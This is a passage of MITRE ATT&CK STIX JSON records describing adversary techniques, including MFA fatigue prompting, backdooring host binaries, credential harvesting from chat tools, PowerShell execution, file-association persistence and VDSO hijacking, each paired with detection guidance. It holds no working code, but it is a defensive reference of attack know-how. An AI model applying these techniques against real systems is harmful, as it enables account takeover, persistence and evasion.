"2020-12-17T02:13:46.247Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1606", "external_id": "T1606"}, {"source_name": "AWS Temporary Security Credentials", "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"}, {"source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}, {"source_name": "GitHub AWS-ADFS-Credential-Generator", "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.", "url": "https://github.com/damianh/aws-adfs-credential-generator"}, {"source_name": "Microsoft SolarWinds Customer Guidance", "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}, {"source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"}, {"source_name": "Zimbra Preauth", "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.", "url": "https://wiki.zimbra.com/wiki/Preauth"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T04:26:29.365Z", "name": "Multi-Factor Authentication Request Generation", "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Jon Sternstein, Stern Security", "Pawel Partyka, Microsoft 365 Defender", "Shanief Webb", "Obsidian Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Office 365", "Linux", "macOS", "IaaS", "SaaS", "Azure AD", "Google Workspace"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["User Account: User Account Authentication", "Logon Session: Logon Session Metadata", "Application Log: Application Log Content", "Logon Session: Logon Session Creation"], "type": "attack-pattern", "id": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "created": "2022-04-01T02:15:49.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1621", "external_id": "T1621"}, {"source_name": "Russian 2FA Push Annoyance - Cimpanu", "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.", "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"}, {"source_name": "MFA Fatigue Attacks - PortSwigger", "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.", "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"}, {"source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe", "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.", "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"}, {"source_name": "Obsidian SSPR Abuse 2023", "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T13:03:40.824Z", "name": "Compromise Host Software Binary", "description": "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\n\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.\n\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["CrowdStrike Falcon OverWatch"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["File: File Deletion", "File: File Modification", "File: File Metadata", "File: File Creation"], "type": "attack-pattern", "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "created": "2020-02-11T18:18:34.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1554", "external_id": "T1554"}, {"source_name": "Unit42 Banking Trojans Hooking 2022", "description": "Or Chechik. (2022, October 31). Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure. Retrieved September 27, 2023.", "url": "https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n"}, {"source_name": "ESET FontOnLake Analysis 2021", "description": "Vladislav Hr\u010dka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.", "url": "https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T00:34:00.779Z", "name": "Chat Messages", "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Douglas Weir"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", "created": "2023-03-14T14:38:03.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/008", "external_id": "T1552.008"}, {"source_name": "Slack Security Risks", "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.", "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T18:01:37.575Z", "name": "PowerShell", "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Mayuresh Dani, Qualys", "Praetorian", "Ross Brittain"], "x_mitre_deprecated": false, "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Script: Script Execution", "Process: Process Creation", "Process: Process Metadata", "Command: Command Execution", "Module: Module Load"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "created": "2020-03-09T13:48:55.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/001", "external_id": "T1059.001"}, {"source_name": "Microsoft PSfromCsharp APR 2014", "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.", "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"}, {"source_name": "SilentBreak Offensive PS Dec 2015", "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.", "url": "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"}, {"source_name": "FireEye PowerShell Logging 2016", "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"}, {"source_name": "Github PSAttack", "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.", "url": "https://github.com/jaredhaight/PSAttack"}, {"source_name": "inv_ps_attacks", "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.", "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"}, {"source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}, {"source_name": "TechNet PowerShell", "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.", "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"}, {"source_name": "Sixdub PowerPick Jan 2016", "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.", "url": "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", "type": "attack-pattern", "created": "2017-05-31T21:30:30.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1023", "external_id": "T1023"}, {"external_id": "CAPEC-132", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/132.html"}], "modified": "2020-01-24T19:36:41.805Z", "name": "Shortcut Modification", "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:40.699Z", "name": "Change Default File Association", "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Travis Smith, Tripwire", "Stefan Kanthak"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "User"], "type": "attack-pattern", "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", "created": "2020-01-24T13:40:47.282Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/001", "external_id": "T1546.001"}, {"source_name": "Microsoft Change Default Programs", "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"}, {"source_name": "Microsoft File Handlers", "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.", "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"}, {"source_name": "Microsoft Assoc Oct 2017", "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"}, {"source_name": "TrendMicro TROJ-FAKEAV OCT 2012", "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Linux"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5", "created": "2020-01-14T01:35:00.781Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.014", "url": "https://attack.mitre.org/techniques/T1055/014"}, {"source_name": "Backtrace VDSO", "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/", "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."}, {"source_name": "Syscall 2014", "url": "https://lwn.net/Articles/604515/", "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."}, {"source_name": "GNU Acct", "url": "https://www.gnu.org/software/acct/", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017."}, {"source_name": "RHEL auditd", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017."}, {"source_name": "ArtOfMemoryForensics", "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."}, {"source_name": "ELF Injection May 2009", "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html", "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."}, {"source_name": "VDSO Aug 2005", "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/", "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."}, {"source_name": "Chokepoint preload rootkits", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ", "modified": "2022-07-07T17:09:09.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "VDSO Hijacking", "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Process: OS API Execution", "Module: Module Load"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", "type": "attack-pattern", "created": "2017-05-31T21:30:32.259Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1026", "url": "https://attack.mitre.org/techniques/T1026"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-30T13:59:11.272Z", "name": "Multiband Communication", "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"modified": "2024-01-18T17:23:22.591Z", "name": "File Transfer Protocols", "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", "created": "2020-03-15T16:16:25.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1071/002", "external_id": "T1071.002"}, {"source_name": "ESET Machete July 2019", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["ENDGAME"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", "type": "attack-pattern", "created": "2017-05-31T21:31:33.979Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1122", "url": "https://attack.mitre.org/techniques/T1122"}, {"url": "https://msdn.microsoft.com/library/ms694363.aspx", "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.", "source_name": "Microsoft Component Object Model"}, {"url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", 